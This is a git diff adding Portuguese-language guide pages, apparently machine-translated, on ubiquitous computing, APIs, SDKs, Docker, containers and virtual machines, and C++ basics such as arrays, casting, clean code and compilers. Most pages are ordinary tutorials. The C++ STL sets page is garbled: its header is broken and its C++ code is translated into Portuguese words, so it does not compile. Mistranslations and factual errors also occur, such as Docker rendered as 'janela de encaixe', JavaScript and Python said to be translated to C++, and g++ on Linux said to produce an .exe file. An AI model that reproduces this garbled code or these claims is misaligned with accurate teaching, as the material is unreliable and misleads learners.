+
+Computação ubíqua é muitas vezes referida como computação difundida ou calma porque é sobre tudo no mundo sendo incorporado com sensores para que o ambiente ao nosso redor possa se configurar para todas as nossas necessidades e requisitos sem exigir nenhuma entrada ou confirmação de nós.
+
+Um exemplo famoso de tecnologia onipresente é uma geladeira inteligente que sabe quando você está com pouco leite. Ele entraria em contato com o supermercado local para que o leite fosse acrescentado à próxima entrega de mantimentos. Uma geladeira inteligente também pode fornecer idéias de receitas com base nos ingredientes que estão dentro dela.
+
+#### Mais Informações:
+
+*   [Computação Pervasiva no TechTarget](http://internetofthingsagenda.techtarget.com/definition/pervasive-computing-ubiquitous-computing)
+*   [Computação Ubíqua no Techopedia](https://www.techopedia.com/definition/22702/ubiquitous-computing)
+*   [7 coisas que você precisa saber sobre computação onipresente](http://www.monitis.com/blog/top-7-things-you-need-to-know-about-ubiquitous-computing/)
+*   [Vídeo do YouTube: um dia feito de vidro](https://youtu.be/jZkHpNnXLB0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/what-is-an-api/index.md b/client/src/guide/portuguese/computer-science/what-is-an-api/index.md
new file mode 100644
index 0000000000..dd27bed392
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/what-is-an-api/index.md
@@ -0,0 +1,57 @@
+---
+title: What is an API
+localeTitle: O que é uma API?
+---
+## O que é uma API?
+
+API significa Application Programming Interface. As APIs ocultam a complexidade dos desenvolvedores, estendem os sistemas aos parceiros, organizam o código e tornam os componentes reutilizáveis. Não se preocupe com o AP, apenas foque no I. Uma API é uma interface. Você usa interfaces o tempo todo. Um sistema operacional de computador é uma interface. Botões em um elevador são uma interface. Um pedal de gás em um carro é uma interface.
+
+Uma interface fica no topo de um sistema complicado e simplifica certas tarefas, um intermediário que evita que você precise conhecer todos os detalhes do que está acontecendo sob o capô. Uma API da web é o mesmo tipo de coisa. Ele fica no topo de um serviço da web, como o Twitter ou o YouTube, e simplifica certas tarefas para você. Ele traduz suas ações em detalhes técnicos para o sistema de computador na outra extremidade.
+
+Se você já programou em uma linguagem orientada a objetos como Java ou C ++, uma API é bastante semelhante ao conceito de uma classe. Quando chamamos um método em um objeto (como `.toString()` ), não nos importamos com COMO o objeto está produzindo o resultado, tudo o que nos interessa é a string que obtemos no final. Uma chamada para uma API funciona da mesma maneira. Por exemplo, quando fazemos uma chamada para a API do Facebook para recuperar a foto do perfil de um usuário, não nos importamos com a forma como as informações são recuperadas do servidor. Acabamos de fazer a solicitação à API, deixar que ela lide com toda a complicada lógica de recuperação e obter nossa foto no final de tudo.
+
+## Por que as APIs são úteis?
+
+Ter acesso a uma API geralmente significa ter acesso a uma grande quantidade de dados organizados. O gatekeeper desses dados fornece uma permissão de desenvolvedor (na forma de uma _chave de API_ ) para consultar um servidor em busca de informações. Se a solicitação for bem-sucedida, o servidor responderá com uma mensagem semelhante a esta:
+
+```javascript
+{ 
+  "coord": { 
+    "lon":139, 
+    "lat":35 
+  }, 
+  "wind": { 
+    "speed":7.31, 
+    "deg":187.002 
+  }, 
+  "rain": { 
+    "3h":0 
+  }, 
+  "clouds": { 
+    "all":92 
+  } 
+ } 
+```
+
+Fonte: [API Open Weather](https://openweathermap.org/current)
+
+No exemplo acima, um desenvolvedor fez uma solicitação para o tempo atual em uma latitude e longitude específicas, e o servidor respondeu com um _objeto JSON_ sobre vento, chuva e nuvens para esse local. Os serviços que você usa todos os dias são feitos com toneladas de ciclos de solicitação e resposta como este.
+
+**Aqui estão as 10 principais APIs para iniciantes**
+
+1.  Dropbox: https://www.dropbox.com/developers
+2.  Google Maps: https://developers.google.com/maps/web/
+3.  Twitter: https://dev.twitter.com/docs
+4.  YouTube: https://developers.google.com/youtube/v3/getting-started
+5.  Soundcloud: http://developers.soundcloud.com/docs/api/guide#playing
+6.  Listra: https://stripe.com/docs/tutorials/checkout
+7.  Instagram: http://instagram.com/developer/
+8.  Twilio: https://www.twilio.com/docs
+9.  Yelp: http://www.yelp.com/developers/getting\_started
+10.  Facebook: https://developers.facebook.com/docs/facebook-login/login-flow-for-web
+
+#### Mais Informações:
+
+*   [API para não programadores](https://schoolofdata.org/2013/11/18/web-apis-for-non-programmers/)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Application_programming_interface)
+*   [Médio](https://medium.com/girl-geeks/top-10-apis-for-beginners-4d3c43be9386)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/what-is-an-sdk/index.md b/client/src/guide/portuguese/computer-science/what-is-an-sdk/index.md
new file mode 100644
index 0000000000..8df07a15af
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/what-is-an-sdk/index.md
@@ -0,0 +1,15 @@
+---
+title: What is an SDK
+localeTitle: O que é um SDK?
+---
+## O que é um SDK?
+
+Um Software Development Kit (SDK) é um conjunto de ferramentas e bibliotecas que você pode usar para criar aplicativos para um pacote de software específico.
+
+Alguns SDKs são essenciais para o desenvolvimento de um aplicativo específico da plataforma. Por exemplo, o desenvolvimento de um aplicativo Android na plataforma Java requer um Java Development Kit, para aplicativos iOS o iOS SDK e, para a Plataforma Universal do Windows, o .NET Framework SDK.
+
+Há também SDKs instalados em aplicativos para fornecer análises e dados sobre atividades. Exemplos proeminentes incluem Google e Facebook.
+
+Pode ser algo tão simples quanto a implementação de uma ou mais interfaces de programação de aplicativos (APIs) na forma de algumas bibliotecas para interface com uma linguagem de programação específica ou para incluir hardware sofisticado que pode se comunicar com um sistema embarcado específico.
+
+As ferramentas comuns incluem recursos de depuração e outros utilitários, geralmente apresentados em um ambiente de desenvolvimento integrado (IDE). Os SDKs também incluem com frequência códigos de amostra e notas técnicas de suporte ou outra documentação de apoio para ajudar a esclarecer pontos feitos pelo material de referência principal.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/containers/docker/creating-a-new-container/index.md b/client/src/guide/portuguese/containers/docker/creating-a-new-container/index.md
new file mode 100644
index 0000000000..decfa81fcd
--- /dev/null
+++ b/client/src/guide/portuguese/containers/docker/creating-a-new-container/index.md
@@ -0,0 +1,18 @@
+---
+title: Creating a new container
+localeTitle: Criando um novo contêiner
+---
+Criando um contêiner usando o Docker CLI
+
+```yaml
+docker create [OPTIONS] IMAGE [COMMAND] [ARG...] 
+```
+
+# Exemplos
+
+Crie e inicie um contêiner
+
+```sh
+$ docker create -t -i fedora bash 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/containers/docker/index.md b/client/src/guide/portuguese/containers/docker/index.md
new file mode 100644
index 0000000000..01582373dc
--- /dev/null
+++ b/client/src/guide/portuguese/containers/docker/index.md
@@ -0,0 +1,36 @@
+---
+title: Docker
+localeTitle: Docker
+---
+## Docker
+
+[O Docker](https://www.docker.com/) é uma plataforma de contêiner amplamente usada disponível para Linux, Windows e Mac, bem como provedores de nuvem, como AWS e Azure.
+
+Um caso de uso comum seria empacotar um aplicativo e todos os requisitos em um contêiner. O contêiner pode então ser usado durante o desenvolvimento, passado para garantia / teste de qualidade e para produção / operações. Isso elimina a mentalidade de "funciona na minha máquina", já que o contêiner _é_ efetivamente a máquina, não importa em qual hardware ele esteja sendo executado.
+
+Depois que você terminar de configurar o computador e instalar a janela de encaixe, basta testar o Docker executando o comando:
+
+```shell
+$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+Se você não tem imagens de hello-world, o Docker irá baixá-las automaticamente para sua máquina. Você pode listar a imagem que foi baixada ou criada para sua máquina executando o comando:
+
+```shell
+$ docker image ls 
+```
+
+[O Docker Store](https://hub.docker.com/explore/) contém muitos aplicativos comuns empacotados em contêineres e prontos para serem usados.
+
+## Leitura adicional
+
+*   [Documentação do Docker](https://docs.docker.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/containers/index.md b/client/src/guide/portuguese/containers/index.md
new file mode 100644
index 0000000000..e958221a49
--- /dev/null
+++ b/client/src/guide/portuguese/containers/index.md
@@ -0,0 +1,53 @@
+---
+title: Containers
+localeTitle: Recipientes
+---
+## Recipientes
+
+Os contêineres são uma solução para o problema de como fazer com que o software seja executado de forma confiável quando movido de um ambiente de computação para outro. Isso pode ser de um laptop de desenvolvedor para um ambiente de teste, de um ambiente de preparo para produção e talvez de uma máquina física. um Data Center para uma máquina virtual em uma nuvem privada ou pública.
+
+Em outras palavras, um Container consiste em um ambiente de tempo de execução inteiro: um aplicativo, além de todas as suas dependências, bibliotecas e outros binários e arquivos de configuração necessários para executá-lo, agrupados em um pacote. Contendo a plataforma de aplicativos e suas dependências, as diferenças nas distribuições do sistema operacional e na infraestrutura subjacente são abstraídas.
+
+Os contêineres são uma virtualização no nível do sistema operacional - um recurso do sistema operacional no qual o kernel permite a existência de várias instâncias isoladas do espaço do usuário. Essas instâncias, chamadas containers, podem parecer computadores reais do ponto de vista de programas executados neles.
+
+## Máquinas virtuais
+
+Uma VM é essencialmente uma emulação de um computador real que executa programas como um computador real. As VMs são executadas na parte superior de uma máquina física usando um “hipervisor”. Um hypervisor, por sua vez, é executado em uma máquina host ou em um hardware “bare-metal”.
+
+Um _hipervisor_ é um software, firmware ou hardware que as VMs executam em cima. Os próprios hipervisores são executados em computadores físicos, chamados de "máquina host". A máquina host fornece recursos às VMs, incluindo RAM e CPU. Esses recursos são divididos entre VMs e podem ser distribuídos conforme você preferir. Portanto, se uma VM estiver executando um aplicativo com recursos mais pesados, você poderá alocar mais recursos para essa que as outras VMs em execução na mesma máquina host.
+
+A VM que está sendo executada na máquina host (novamente, usando um hipervisor) também é chamada de “máquina convidada”. Essa máquina convidada contém tanto o aplicativo quanto o que ele precisa para executar esse aplicativo (por exemplo, binários e bibliotecas do sistema). Ele também carrega uma pilha inteira de hardware virtualizado, incluindo adaptadores de rede virtualizados, armazenamento e CPU - o que significa que também possui seu próprio sistema operacional convidado completo. Por dentro, a máquina convidada se comporta como uma unidade própria, com recursos dedicados. Do lado de fora, sabemos que são recursos de compartilhamento de VM fornecidos pela máquina host.
+
+Como mencionado acima, uma máquina convidada pode ser executada em um hipervisor hospedado ou em um hipervisor bare-metal. Existem algumas diferenças importantes entre eles.
+
+Primeiramente, um hypervisor de virtualização hospedado é executado no sistema operacional da máquina host. Por exemplo, um computador executando o OSX pode ter uma máquina virtual (por exemplo, VirtualBox ou VMware Workstation 8) instalada na parte superior do sistema operacional. A VM não tem acesso direto ao hardware, por isso tem que passar pelo sistema operacional do host (no nosso caso, o Mac OSX).
+
+O benefício de um hipervisor hospedado é que o hardware subjacente é menos importante. O sistema operacional do host é responsável pelos drivers de hardware em vez do próprio hipervisor e, portanto, é considerado como tendo mais “compatibilidade de hardware”. Por outro lado, essa camada adicional entre o hardware e o hipervisor cria mais sobrecarga de recursos, o que diminui o desempenho da VM.
+
+Um ambiente de hypervisor bare-metal aborda o problema de desempenho instalando e executando a partir do hardware da máquina host. Como ele interage diretamente com o hardware subjacente, ele não precisa de um sistema operacional host para ser executado. Nesse caso, a primeira coisa instalada no servidor de uma máquina host como sistema operacional será o hipervisor. Ao contrário do hipervisor hospedado, um hipervisor bare-metal possui seus próprios drivers de dispositivo e interage com cada componente diretamente para qualquer tarefa de E / S, processamento ou específica do SO. Isso resulta em melhor desempenho, escalabilidade e estabilidade. A desvantagem aqui é que a compatibilidade de hardware é limitada porque o hipervisor só pode ter tantos drivers de dispositivo integrados nele.
+
+Depois de toda essa conversa sobre hipervisores, você pode estar se perguntando por que precisamos dessa camada adicional de "hipervisor" entre a VM e a máquina host.
+
+Bem, como a VM tem um sistema operacional virtual próprio, o hipervisor desempenha um papel essencial ao fornecer às VMs uma plataforma para gerenciar e executar esse sistema operacional convidado. Ele permite que os computadores host compartilhem seus recursos entre as máquinas virtuais que estão sendo executadas como convidados em cima delas.
+
+## Recipiente
+
+Ao contrário de uma VM que fornece virtualização de hardware, um contêiner fornece virtualização no nível do sistema operacional, abstraindo o “espaço do usuário”. Você verá o que quero dizer quando descompactarmos o termo container.
+
+Para todos os efeitos, os contêineres se parecem com uma VM. Por exemplo, eles têm espaço privado para processamento, podem executar comandos como raiz, ter uma interface de rede privada e endereço IP, permitir rotas personalizadas e regras de iptable, montar sistemas de arquivos e etc.
+
+A grande diferença entre contêineres e VMs é que os contêineres _compartilham_ o kernel do sistema host com outros contêineres.
+
+## Orquestração
+
+Existem várias estruturas de orquestração de contêineres aproveitadas na produção: enxame-docker e kubernetes
+
+## Lista de provedores de contêiner
+
+Abaixo está uma pequena lista dos fornecedores de contêineres mais usados ​​que podem ser usados.
+
+*   [Docker](https://www.docker.com/)
+*   [Kubernetes](https://kubernetes.io/)
+*   [Amazon AWS ECS](https://aws.amazon.com/ecs/?nc1=h_ls)
+*   [RKT](https://github.com/rkt/rkt)
+*   [Tecido Azure](https://azure.microsoft.com/en-us/services/service-fabric/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/containers/run-your-first-docker-image/index.md b/client/src/guide/portuguese/containers/run-your-first-docker-image/index.md
new file mode 100644
index 0000000000..979d676711
--- /dev/null
+++ b/client/src/guide/portuguese/containers/run-your-first-docker-image/index.md
@@ -0,0 +1,30 @@
+---
+title: Run Your First Docker Image
+localeTitle: Executar sua primeira imagem do Docker
+---
+## Executar sua primeira imagem do Docker
+
+Depois que você terminar de configurar o computador e instalar a janela de encaixe, basta testar o Docker executando o comando:
+
+```shell
+$ docker run hello-world 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+```
+
+Se você não tem imagens de hello-world, o Docker irá baixá-las automaticamente para sua máquina. Você pode listar a imagem que foi baixada ou criada para sua máquina executando o comando:
+
+```shell
+$ docker image ls 
+```
+
+Mais Informações:
+
+[documentação de](https://docs.docker.com/get-started/#test-docker-installation) instalação do Docker de teste.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/C- STL sets/index.md b/client/src/guide/portuguese/cplusplus/C- STL sets/index.md
new file mode 100644
index 0000000000..f3792d44a0
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/C- STL sets/index.md	
@@ -0,0 +1,23 @@
+InlocaleTitle: undefined
+troduction de conjuntos na biblioteca C ++ STL Conjuntos são um tipo de contêineres associativos nos quais cada elemento deve ser exclusivo. O valor do elemento não pode ser modificado depois que é adicionado ao conjunto, embora seja possível remover e adicionar o valor modificado desse elemento. Eles são implementados usando uma árvore vermelha e preta.
+
+Benefícios de usar conjuntos
+
+1.  Ele armazena apenas valores exclusivos.
+2.  O valor do elemento se identifica. O valor de um elemento também é a chave usada para identificá-lo.
+3.  Fornece uma pesquisa rápida (O (log n)) usando chaves, ou seja, o próprio elemento.
+4.  Existem muitas funções embutidas na classe que definem conjuntos que facilitam a programação.
+
+Exemplo: '' 'c ++
+
+# incluir
+
+usando namespace std; int main () { conjunto s;
+
+s.insert (2); // insere o elemento 2 no conjunto s s.insert (3); s.insert (5); s.insert (2); // inserindo o mesmo elemento 2 s.insert (6); para (auto i: s) cout << i << ""; cout << s.size () << endl; // dá o tamanho do conjunto
+
+s.erase (5); // apagando o elemento 5 do conjunto s return 0; } '' ' Criando um objeto definido '' 'c ++ conjunto s; '' '
+
+Inserção '' 'c ++ s.insert (valor _a ser_ inserido); '' '
+
+Acessando elementos do conjunto '' 'c ++ conjunto :: iterador; para (it = s.begin (); it! = s.end (); ++ it) cout << \* it; '' '
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/arrays/index.md b/client/src/guide/portuguese/cplusplus/arrays/index.md
new file mode 100644
index 0000000000..3967028caf
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/arrays/index.md
@@ -0,0 +1,42 @@
+---
+title: C++ Arrays
+localeTitle: Matrizes C ++
+---
+## O que são matrizes?
+
+Uma matriz é uma série de elementos do mesmo tipo de dados que são armazenados em locais de memória contígua e podem ser referenciados individualmente.
+
+Por exemplo, uma matriz contendo 5 valores inteiros chamados números é declarada da seguinte forma:
+
+```C++
+int numbers [5]; 
+```
+
+Inicialização:
+
+```C++
+//Initialization with entries: 
+ int numbers [5] = {1, 2, 3, 4, 5}; 
+ 
+ //Initialization with no values: 
+ int numbers [5] = {}; 
+ 
+ //Initialization with declaration: 
+ int numbers [] = {1, 2, 3, 4, 5}; 
+ //Note that here the number of values defines the size of the array. 
+ //In the examples above, the size was fixed beforehand 
+```
+
+**Observe** que as matrizes em C ++ não são permutáveis ​​em tamanho, o que significa que, uma vez que você tenha declarado uma matriz com tamanho 5, ela não poderá ser ampliada ou diminuída. Caso você realmente precise de uma matriz maior com as mesmas entradas, você teria que copiar todas as entradas para uma nova matriz de tamanho maior.
+
+### Acesso:
+
+Elementos de uma matriz podem ser acessados ​​por referência de sua posição na matriz. (Comece a contar de 0).  
+Exemplo:
+
+```C++
+x = numbers[0]; // = 1. [0] == first position 
+ numbers[2] = 55; // Sets the third position (3) to the new number 55 
+ //numbers[] is now: {1, 2, 55, 4, 5} 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/casting/index.md b/client/src/guide/portuguese/cplusplus/casting/index.md
new file mode 100644
index 0000000000..64d14e836e
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/casting/index.md
@@ -0,0 +1,88 @@
+---
+title: Casting
+localeTitle: Fundição
+---
+## Fundição
+
+Um elenco é um operador especial que força um tipo de dados a ser convertido em outro
+
+Fundindo em C ++ difere um pouco para isso de C. C ++ faz uso de funções de carcaça distintas.
+
+### static\_cast
+
+Elenco estático é usado para conversões implícitas entre primitivos e sobrecargas de tipos.
+
+### const\_cast
+
+Const cast pode ser usado para expulsar constância. Isso é útil quando há um desejo de alterar um valor constante. Isso deve ser usado com moderação, em vez disso, deve-se considerar a criação de parâmetros / funções não-constantes nos casos em que um const-cast é usado.
+
+Const cast também pode resultar em comportamento indefinido. A única aplicação do const cast deve ser remover a constância de um valor que foi passado para uma função e marcada const. Se o valor é verdadeiramente const, isto é, é marcado como const em tempo de compilação e é atribuído um valor, const cast e mutação da variável resultará em um comportamento indefinido.
+```
+const int y = 10;             // y is set to 10. 
+ const_cast<int &>(y) = 20;    // undefined behaviour. 
+```
+
+### dynamic\_cast
+
+A conversão dinâmica é usada para converter um objeto dentro de sua hierarquia de classes (para pai, pai e irmãos). O elenco dinâmico só pode ser chamado em classes polimórficas. Assim, a classe original neste caso `MyClass` deve ter um membro virtual, que está presente na forma do destruidor virtual.
+
+Se o elenco dinâmico falhar, ele retornará um `nullptr` . O elenco dinâmico pode ser útil na determinação de tipos de objetos em tempo de execução. No entanto, deve-se notar que a conversão dinâmica não é livre e, em alguns casos, outras técnicas podem se mostrar mais eficientes na determinação do tipo de classe em tempo de execução.
+
+### reinterpret\_cast
+
+Reinterpretar elenco é talvez o mais perigoso de todos os elencos C ++, mas quando usado corretamente, pode ser ideal. Reinterpretar conversão não incorre em custo de desempenho, pois não realiza conversões. Ele simplesmente instrui o compilador a tratar o objeto fundido como se fosse o tipo solicitado. Isso também pode trazer problemas de alinhamento, por isso deve ser usado com moderação e somente quando os efeitos colaterais são conhecidos e explicados.
+
+#### Uma nota em moldes de estilo C
+
+O C ++ suporta o uso de conversões no estilo C, embora elas não sejam recomendadas. O uso da conversão de estilo C instruirá o compilador a executar primeiro uma conversão estática _, se a conversão estática_ falhar, reinterpret\_cast será usado em seu lugar. Por esse motivo, os lançamentos no estilo C podem produzir resultados imprevisíveis e gerar problemas inesperados.
+
+## Exemplos
+
+```cpp
+#include <iostream> 
+ 
+ class MyClass { 
+ public: 
+    virtual ~MyClass() = default; 
+ 
+    void greet() { 
+        std::cout << "Hello World!" << std::endl; 
+    } 
+ }; 
+ 
+ class MyClassChild : public MyClass { 
+ }; 
+ 
+ void reinterpretCastTest(void *objectPtr) { 
+    // Let's assume we know objectPtr is of type MyClass * 
+    auto myClassObj = reinterpret_cast<MyClassChild *>(objectPtr); 
+    myClassObj->greet(); 
+ } 
+ 
+ void constCastTest(const MyClassChild &myClassChild) { 
+    auto nonConst = const_cast<MyClassChild &>(myClassChild); 
+    nonConst.greet(); 
+ } 
+ 
+ void dynamicCastTest(MyClass *myClass) { 
+    auto *child = dynamic_cast<MyClassChild *>(myClass); 
+    child->greet(); 
+ } 
+ 
+ void staticCastTest(float floatVal) { 
+    // Convert the float into an int. 
+    auto intVal = static_cast<int>(floatVal); 
+    std::cout << intVal << std::endl; 
+ } 
+ 
+ int main() { 
+    MyClassChild myClass; 
+    reinterpretCastTest(&myClass); 
+    constCastTest(myClass); 
+    dynamicCastTest(&myClass); 
+    staticCastTest(10.5); 
+ 
+    return 0; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/clean-code-guidelines/index.md b/client/src/guide/portuguese/cplusplus/clean-code-guidelines/index.md
new file mode 100644
index 0000000000..bd5636c170
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/clean-code-guidelines/index.md
@@ -0,0 +1,109 @@
+---
+title: Clean Code Guidelines
+localeTitle: Diretrizes de código limpas
+---
+# Diretrizes de código limpas
+
+Ao codificar, o estilo de codificação que você segue pode ser muito importante. Especialmente quando você está trabalhando com uma equipe ou planeja compartilhar código. A maioria dessas diretrizes é padrão e pode ser aplicada à maioria das linguagens de programação, no entanto, aqui você tem aplicativos e snippets com código c ++, para que você possa se familiarizar com isso mais facilmente. Lembre-se de que essas são apenas recomendações para obter clareza, o que pode ser uma preferência pessoal, portanto, siga estas dicas em conta, mas não os leve à letra. Às vezes, quebrar algumas dessas regras pode levar a um código mais limpo.
+
+## Use bons nomes de variáveis ​​e faça comentários
+
+Certifique-se de criar bons nomes de variáveis, por exemplo, se você estiver criando um jogo, evite usar a variável "a" use algo como "p1" referindo-se ao player 1. A [notação húngara](https://en.wikipedia.org/wiki/Hungarian_notation) é comumente distribuída e pode dar algumas orientações para declarar variáveis.
+
+Além disso, por favor, use comentários, eu não estou nem brincando, apenas tente ler alguns projetos antigos que você fez sem comentários ... agora imagine ser outra pessoa que nem mesmo o codificou.
+
+## Variáveis ​​globais
+
+As variáveis ​​globais podem ser fáceis de usar e, com pouco código, podem parecer uma ótima solução. Mas, quando o código fica cada vez maior, fica mais difícil saber quando estão sendo usados.
+
+Em vez de usar variáveis ​​globais, você poderia usar variáveis ​​declaradas em funções que podem ajudá-lo a informar quais valores estão sendo passados e identificar erros mais rapidamente.
+
+```cpp
+#include <iostream> 
+ using namespace std; 
+ 
+ // Global variables are declared outside functions 
+ int cucumber; // global variable "cucumber" 
+```
+
+## Usando goto, continue, etc.
+
+Esta é uma discussão usual entre os programadores, assim como as variáveis ​​globais, esses tipos de declarações são geralmente consideradas más práticas. Eles são considerados ruins porque levam ao ["código spaguetti"](https://en.wikipedia.org/wiki/Spaghetti_code) . Quando programamos, queremos um fluxo linear, ao usar essas instruções, o fluxo é modificado e leva a um fluxo "torcido e emaranhado".
+
+Goto foi usado no passado quando, enquanto, por, se funciona, no entanto, com a introdução desses programas estruturados foi criado. Em geral, evite usar o goto, a menos que tenha certeza de que ele tornará seu código mais limpo e mais fácil de ler. Um exemplo pode ser usá-lo em loops aninhados.
+
+O uso de break e continue é praticamente o mesmo. Use-os em switches e tente fazer funções com um único propósito, para que você tenha apenas um ponto de saída.
+
+![img](https://imgs.xkcd.com/comics/goto.png)
+
+## Evite alterar a variável de controle dentro de um loop for
+
+Geralmente há trabalhos em torno disso que parecem mais claros e menos confusos, por exemplo. enquanto loops. Faz:
+
+```cpp
+int i=1; 
+ while (i <= 5) 
+ { 
+    if (i == 2) 
+        i = 4; 
+ 
+    ++i; 
+ } 
+```
+
+Ao invés de:
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+ { 
+    if (i == 2) 
+    { 
+       i = 4; 
+    } 
+    // Do work 
+ } 
+```
+
+## Declarar constantes e tipos no topo
+
+Eles geralmente são declarados após as bibliotecas, o que os torna mais próximos e mais fáceis de ler. Para variáveis ​​locais, acontece o mesmo, declare-os no topo (outras pessoas preferem declará-los o mais tarde possível para economizar memória veja: [cplusplus.com](http://www.cplusplus.com/forum/general/33612/)
+
+## Use apenas uma função de retorno no final
+
+Assim como dissemos antes, tendemos a fazer apenas uma entrada e sair para deixar o fluxo mais claro.
+
+## Use chaves até mesmo ao escrever uma linha
+
+Fazê-lo sistematicamente irá ajudá-lo a fazê-lo mais rápido e no caso de você querer mudar o código no futuro, você será capaz de fazê-lo sem preocupações.
+
+Ao invés de:
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+    //CODE 
+```
+
+Faz:
+
+```cpp
+for (int i = 1; i <= 5; i++) 
+ { 
+    //CODE 
+ } 
+```
+
+## Outras recomendações
+
+*   #### Use para quando você sabe o número de iterações, enquanto e quando você não sabe.
+    
+*   #### Use const, passe por valor / referência quando adequado. Isso ajudará a economizar memória.
+    
+*   \#### Escreve const em letras maiúsculas, tipos de dados que começam com T e variáveis ​​em letras minúsculas.
+    
+
+```cpp
+const int MAX= 100;             //Constant 
+ typedef int TVector[MAX];       //Data type 
+ TVector vector;                 //Vector 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/cplusplus/compilers/index.md b/client/src/guide/portuguese/cplusplus/compilers/index.md
new file mode 100644
index 0000000000..e395beb853
--- /dev/null
+++ b/client/src/guide/portuguese/cplusplus/compilers/index.md
@@ -0,0 +1,55 @@
+---
+title: C++ Compilers
+localeTitle: Compiladores C ++
+---
+# Introdução aos Compiladores C ++
+
+Para começar com C ++, você precisará aprender um pouco sobre compiladores e como o C ++ é executado em seu computador.
+
+Quando tudo estiver dito e feito, os computadores só entendem uma linguagem, linguagem de máquina. Linguagem de máquina é inteiramente composta de bits binários, ou 0s e 1s. Embora seja possível programar em binário, seria extremamente tedioso e demorado. Então, nós humanos desenvolvemos linguagens de programação para facilitar o desenvolvimento de software. Linguagem de montagem é um direto de 1 para 1 com a máquina língua. Idiomas como C, C ++ e COBOL são um pouco mais altos e precisam ser compilados. Vai ainda mais alto. línguas como JavaScript e Python tem componentes que são traduzidos para C ++ ou outras linguagens de baixo nível antes de serem compiladas, efetivamente tornando-os linguagens "superiores" que C ou C ++. Como a arquitetura de computadores é composta de switches e cabos eletrônicos que só podem funcionar com 1s e 0s binários, você precisa de um compilador para traduzir seu código de alto nível C ++ para linguagem de máquina que a CPU possa entender.
+
+Compiladores são programas utilitários que pegam seu código e o transformam em arquivos executáveis ​​de código de máquina. Quando você executa um compilador no seu código, primeiro, o pré-processador lê o código-fonte (o arquivo C ++ que você acabou de escrever). O pré-processador procura por qualquer diretivas de pré-processador (linhas de código iniciando com #). As diretivas de pré-processador causam pré-processador para alterar seu código de alguma forma (geralmente adicionando alguma biblioteca ou outro arquivo C ++). Em seguida, o compilador trabalha através do código pré-processado linha por tradução de linha cada linha na instrução de linguagem de máquina apropriada. Isso também revelará os erros de sintaxe que estão presentes no seu código-fonte e lançará um erro na linha de comando. Finalmente, se nenhum erro estiver presente, o compilador cria um objeto arquivo com o binário de linguagem de máquina necessário para executar em sua máquina. Enquanto o arquivo objeto que o compilador acabou de criar é provável o suficiente para fazer algo no seu computador, ainda não é um executável de trabalho do seu programa C ++. Existe uma final passo importante para chegar a um programa executável.
+
+C ++ contém uma vasta biblioteca para auxiliar na execução de tarefas difíceis, como E / S e manipulação de hardware. Você pode incluir esses bibliotecas com diretivas de pré-processador, mas o pré-processador não as adiciona automaticamente ao seu código. Para você ter um programa executável final, outro utilitário conhecido como o vinculador deve combinar seus arquivos de objeto com as funções de biblioteca necessário para executar o código. Pense nisso como tendo todos os blocos necessários para construir uma casa. O compilador fez todos os blocos, mas o linker é o que os une para finalmente criar uma casa. Feito isso, agora você tem um arquivo executável em funcionamento!
+
+## Como compilar um arquivo
+
+Digamos que você tenha um arquivo C ++ chamado `helloWorld.cpp` …
+
+### Se você está no Windows -
+
+#### Usando e IDE como CodeBlocks
+
+É tão simples quanto clicar nos botões build e run, eles irão criar um arquivo na pasta do projeto. ![img](https://i.imgur.com/FwZuFGy.png)
+
+#### Usando o prompt de comando
+
+1.  Abrir um Prompt de Comando do Desenvolvedor - Para esta etapa, você precisará ter o Microsoft Visual Studio ou algum outro IDE permite que você compile seu programa a partir da linha de comando. Você também pode pesquisar online por compiladores C ++.
+    
+2.  Navegue até o código-fonte diretamente
+    
+3.  Execute o compilador no seu código-fonte (supondo que você esteja usando o compilador do Microsoft Visual Studio) `cl /EHsc helloWorld.cpp`
+    
+
+Isso agora criará um arquivo de objeto e o vinculará automaticamente para você. Se você olhar na mesma pasta, verá um O arquivo executável hellWorld.exe (observe a extensão exe) agora está presente.
+
+4.  Digite `helloWorld` no prompt para executar o executável
+
+Alternativamente, muitos IDEs permitem a criação e visualização rápida de seu programa. Isso pode ser mais fácil, já que sua versão do O Windows pode não vir pré-empacotado com um utilitário de compilação.
+
+### Se você está no Linux ou OSX -
+
+1.  Abra uma janela de terminal e navegue até o diretório do código-fonte
+2.  Execute o compilador no seu código-fonte `g++ helloWorld.cpp -o helloWorld`
+
+Isso criará um arquivo de objeto e o vinculará automaticamente para você. Olhe na pasta e você verá um helloWorld.exe arquivo executável (observe a extensão exe).
+
+3.  Digite `./helloWorld` na janela do terminal para executar o arquivo executável
+
+g ++ é o compilador padrão do Linux e é um ótimo utilitário. Vem embalado com o sistema operacional.
+
